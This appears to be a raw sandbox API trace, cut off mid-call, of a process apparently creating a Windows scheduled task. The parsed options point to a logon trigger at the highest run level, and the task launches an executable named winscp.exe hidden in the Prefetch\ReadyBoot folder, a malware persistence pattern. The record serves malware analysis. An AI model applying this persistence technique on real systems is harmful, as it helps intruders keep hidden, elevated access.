[0079.558] lstrlenW (lpString="|tn|") returned 4 [0079.558] lstrlenW (lpString="|f|") returned 3 [0079.558] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0079.559] SetLastError (dwErrCode=0x490) [0079.559] lstrlenW (lpString="tr") returned 2 [0079.559] lstrlenW (lpString="tr") returned 2 [0079.559] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.559] lstrlenW (lpString="f") returned 1 [0079.559] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.559] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.559] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.559] lstrlenW (lpString="|tr|") returned 4 [0079.559] lstrlenW (lpString="|f|") returned 3 [0079.559] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0079.559] SetLastError (dwErrCode=0x490) [0079.559] lstrlenW (lpString="st") returned 2 [0079.559] lstrlenW (lpString="st") returned 2 [0079.559] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.559] lstrlenW (lpString="f") returned 1 [0079.559] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.559] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|st|") returned 4 [0079.559] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.559] lstrlenW (lpString="|st|") returned 4 [0079.559] lstrlenW (lpString="|f|") returned 3 [0079.559] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0079.559] SetLastError (dwErrCode=0x490) [0079.559] lstrlenW (lpString="sd") returned 2 [0079.559] lstrlenW (lpString="sd") returned 2 [0079.559] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.559] lstrlenW (lpString="f") returned 1 [0079.559] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.560] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sd|") returned 4 [0079.560] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.560] lstrlenW (lpString="|sd|") returned 4 [0079.560] lstrlenW (lpString="|f|") returned 3 [0079.560] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0079.560] SetLastError (dwErrCode=0x490) [0079.560] lstrlenW (lpString="ed") returned 2 [0079.560] lstrlenW (lpString="ed") returned 2 [0079.560] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.560] lstrlenW (lpString="f") returned 1 [0079.560] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.560] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ed|") returned 4 [0079.560] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.560] lstrlenW (lpString="|ed|") returned 4 [0079.560] lstrlenW (lpString="|f|") returned 3 [0079.560] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0079.560] SetLastError (dwErrCode=0x490) [0079.560] lstrlenW (lpString="it") returned 2 [0079.560] lstrlenW (lpString="it") returned 2 [0079.560] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.560] lstrlenW (lpString="f") returned 1 [0079.560] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.560] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|it|") returned 4 [0079.560] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.560] lstrlenW (lpString="|it|") returned 4 [0079.560] lstrlenW (lpString="|f|") returned 3 [0079.560] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0079.560] SetLastError (dwErrCode=0x490) [0079.560] lstrlenW (lpString="et") returned 2 [0079.560] lstrlenW (lpString="et") returned 2 [0079.560] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.560] lstrlenW (lpString="f") returned 1 [0079.561] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.561] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|et|") returned 4 [0079.561] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.561] lstrlenW (lpString="|et|") returned 4 [0079.561] lstrlenW (lpString="|f|") returned 3 [0079.561] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0079.561] SetLastError (dwErrCode=0x490) [0079.561] lstrlenW (lpString="k") returned 1 [0079.561] lstrlenW (lpString="k") returned 1 [0079.561] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.561] lstrlenW (lpString="f") returned 1 [0079.561] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.561] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|k|") returned 3 [0079.561] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.561] lstrlenW (lpString="|k|") returned 3 [0079.561] lstrlenW (lpString="|f|") returned 3 [0079.561] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0079.561] SetLastError (dwErrCode=0x490) [0079.561] lstrlenW (lpString="du") returned 2 [0079.561] lstrlenW (lpString="du") returned 2 [0079.561] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.561] lstrlenW (lpString="f") returned 1 [0079.561] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.561] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|du|") returned 4 [0079.561] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.561] lstrlenW (lpString="|du|") returned 4 [0079.561] lstrlenW (lpString="|f|") returned 3 [0079.561] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0079.561] SetLastError (dwErrCode=0x490) [0079.561] lstrlenW (lpString="ri") returned 2 [0079.561] lstrlenW (lpString="ri") returned 2 [0079.562] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.562] lstrlenW (lpString="f") returned 1 [0079.562] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.562] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ri|") returned 4 [0079.562] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.562] lstrlenW (lpString="|ri|") returned 4 [0079.562] lstrlenW (lpString="|f|") returned 3 [0079.562] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0079.562] SetLastError (dwErrCode=0x490) [0079.562] lstrlenW (lpString="z") returned 1 [0079.562] lstrlenW (lpString="z") returned 1 [0079.562] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.562] lstrlenW (lpString="f") returned 1 [0079.562] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.562] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|z|") returned 3 [0079.562] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.562] lstrlenW (lpString="|z|") returned 3 [0079.562] lstrlenW (lpString="|f|") returned 3 [0079.562] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0079.562] SetLastError (dwErrCode=0x490) [0079.562] lstrlenW (lpString="f") returned 1 [0079.562] lstrlenW (lpString="f") returned 1 [0079.562] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.562] lstrlenW (lpString="f") returned 1 [0079.562] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.562] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.562] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.562] lstrlenW (lpString="|f|") returned 3 [0079.562] lstrlenW (lpString="|f|") returned 3 [0079.562] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0079.563] SetLastError (dwErrCode=0x0) [0079.563] SetLastError (dwErrCode=0x0) [0079.563] GetProcessHeap () returned 0x2b0000 [0079.563] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cce70 [0079.563] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.563] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0079.563] lstrlenW (lpString="LIMITED") returned 7 [0079.563] GetProcessHeap () returned 0x2b0000 [0079.563] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x10) returned 0x2cd6c0 [0079.563] GetThreadLocale () returned 0x409 [0079.563] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0079.563] GetProcessHeap () returned 0x2b0000 [0079.563] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cce40 [0079.563] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.563] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0079.563] lstrlenW (lpString="HIGHEST") returned 7 [0079.563] GetProcessHeap () returned 0x2b0000 [0079.563] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x10) returned 0x2cd6e0 [0079.563] GetThreadLocale () returned 0x409 [0079.563] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0079.563] GetProcessHeap () returned 0x2b0000 [0079.563] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cce10 [0079.563] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.563] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0079.563] lstrlenW (lpString="MINUTE") returned 6 [0079.563] GetProcessHeap () returned 0x2b0000 [0079.563] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd700 [0079.563] GetThreadLocale () returned 0x409 [0079.563] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0079.563] GetProcessHeap () returned 0x2b0000 [0079.564] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccde0 [0079.564] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.564] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0079.564] lstrlenW (lpString="HOURLY") returned 6 [0079.564] GetProcessHeap () returned 0x2b0000 [0079.564] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd720 [0079.564] GetThreadLocale () returned 0x409 [0079.564] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0079.564] GetProcessHeap () returned 0x2b0000 [0079.564] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccdb0 [0079.564] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.564] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0079.564] lstrlenW (lpString="DAILY") returned 5 [0079.564] GetProcessHeap () returned 0x2b0000 [0079.564] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd740 [0079.564] GetThreadLocale () returned 0x409 [0079.564] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0079.564] GetProcessHeap () returned 0x2b0000 [0079.564] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd80 [0079.564] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.564] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0079.564] lstrlenW (lpString="WEEKLY") returned 6 [0079.564] GetProcessHeap () returned 0x2b0000 [0079.564] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd760 [0079.564] GetThreadLocale () returned 0x409 [0079.564] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0079.564] GetProcessHeap () returned 0x2b0000 [0079.564] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd50 [0079.564] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.564] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0079.564] lstrlenW (lpString="MONTHLY") returned 7 [0079.565] GetProcessHeap () returned 0x2b0000 [0079.565] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x10) returned 0x2cd780 [0079.565] GetThreadLocale () returned 0x409 [0079.565] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0079.565] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.565] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0079.565] lstrlenW (lpString="ONCE") returned 4 [0079.565] GetProcessHeap () returned 0x2b0000 [0079.565] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa) returned 0x2cd7a0 [0079.565] GetThreadLocale () returned 0x409 [0079.565] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0079.565] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.565] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0079.565] lstrlenW (lpString="ONSTART") returned 7 [0079.565] GetThreadLocale () returned 0x409 [0079.565] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0079.565] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.565] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0079.565] lstrlenW (lpString="ONLOGON") returned 7 [0079.565] GetThreadLocale () returned 0x409 [0079.565] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0079.565] SetLastError (dwErrCode=0x0) [0079.565] GetProcessHeap () returned 0x2b0000 [0079.565] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x1fc) returned 0x2cc470 [0079.565] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.565] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0079.565] lstrlenW (lpString="First") returned 5 [0079.566] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.566] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0079.566] lstrlenW (lpString="Second") returned 6 [0079.566] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.566] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0079.566] lstrlenW (lpString="Third") returned 5 [0079.566] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.566] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0079.566] lstrlenW (lpString="Fourth") returned 6 [0079.566] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.566] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0079.566] lstrlenW (lpString="Last") returned 4 [0079.566] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.566] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0079.566] lstrlenW (lpString="First") returned 5 [0079.566] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.566] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0079.566] lstrlenW (lpString="Second") returned 6 [0079.566] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.566] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0079.566] lstrlenW (lpString="Third") returned 5 [0079.566] GetProcessHeap () returned 0x2b0000 [0079.566] GetProcessHeap () returned 0x2b0000 [0079.566] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd7a0) returned 1 [0079.566] GetProcessHeap () returned 0x2b0000 [0079.566] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd7a0) returned 0xa [0079.566] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd7a0 | out: hHeap=0x2b0000) returned 1 [0079.566] GetProcessHeap () returned 0x2b0000 [0079.567] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd7a0 [0079.567] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.567] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0079.567] lstrlenW (lpString="Fourth") returned 6 [0079.567] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.567] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0079.567] lstrlenW (lpString="Last") returned 4 [0079.567] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc420, cchData=128 | out: lpLCData="0") returned 2 [0079.567] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.567] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0079.567] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0079.567] GetProcessHeap () returned 0x2b0000 [0079.567] GetProcessHeap () returned 0x2b0000 [0079.567] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6c0) returned 1 [0079.567] GetProcessHeap () returned 0x2b0000 [0079.567] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd6c0) returned 0x10 [0079.567] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6c0 | out: hHeap=0x2b0000) returned 1 [0079.567] GetProcessHeap () returned 0x2b0000 [0079.567] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd6c0 [0079.567] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc440, cchData=128 | out: lpLCData="0") returned 2 [0079.567] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.567] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0079.567] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0079.567] GetProcessHeap () returned 0x2b0000 [0079.568] GetProcessHeap () returned 0x2b0000 [0079.568] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6e0) returned 1 [0079.568] GetProcessHeap () returned 0x2b0000 [0079.568] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd6e0) returned 0x10 [0079.568] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6e0 | out: hHeap=0x2b0000) returned 1 [0079.568] GetProcessHeap () returned 0x2b0000 [0079.568] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd6e0 [0079.568] GetLocalTime (in: lpSystemTime=0x1bc670 | out: lpSystemTime=0x1bc670*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x3, wMilliseconds=0x3a8)) [0079.568] GetLocalTime (in: lpSystemTime=0x1bcf28 | out: lpSystemTime=0x1bcf28*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x3, wMilliseconds=0x3a8)) [0079.568] lstrlenW (lpString="") returned 0 [0079.568] lstrlenW (lpString="") returned 0 [0079.568] lstrlenW (lpString="") returned 0 [0079.568] lstrlenW (lpString="") returned 0 [0079.568] lstrlenW (lpString="") returned 0 [0079.568] lstrlenW (lpString="") returned 0 [0079.568] lstrlenW (lpString="") returned 0 [0079.568] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0079.592] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0079.670] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1bccf0 | out: ppv=0x1bccf0*=0x3bdee0) returned 0x0 [0079.681] TaskScheduler:ITaskService:Connect (This=0x3bdee0, serverName=0x1bcdd0*(varType=0x8, wReserved1=0x1b, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1bcd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1bcdb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bcd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0079.740] TaskScheduler:IUnknown:AddRef (This=0x3bdee0) returned 0x2 [0079.740] TaskScheduler:ITaskService:GetFolder (in: This=0x3bdee0, Path=0x0, ppFolder=0x1bce88 | out: ppFolder=0x1bce88*=0xd7d30) returned 0x0 [0079.742] TaskScheduler:ITaskService:NewTask (in: This=0x3bdee0, flags=0x0, ppDefinition=0x1bce80 | out: ppDefinition=0x1bce80*=0xd7d80) returned 0x0 [0079.743] ITaskDefinition:get_Actions (in: This=0xd7d80, ppActions=0x1bce00 | out: ppActions=0x1bce00*=0xd7e40) returned 0x0 [0079.743] IActionCollection:Create (in: This=0xd7e40, Type=0, ppAction=0x1bce20 | out: ppAction=0x1bce20*=0xd65d0) returned 0x0 [0079.743] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.743] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.743] lstrlenW (lpString=" ") returned 1 [0079.743] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0079.743] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0079.744] StrChrW (lpStart=" ", 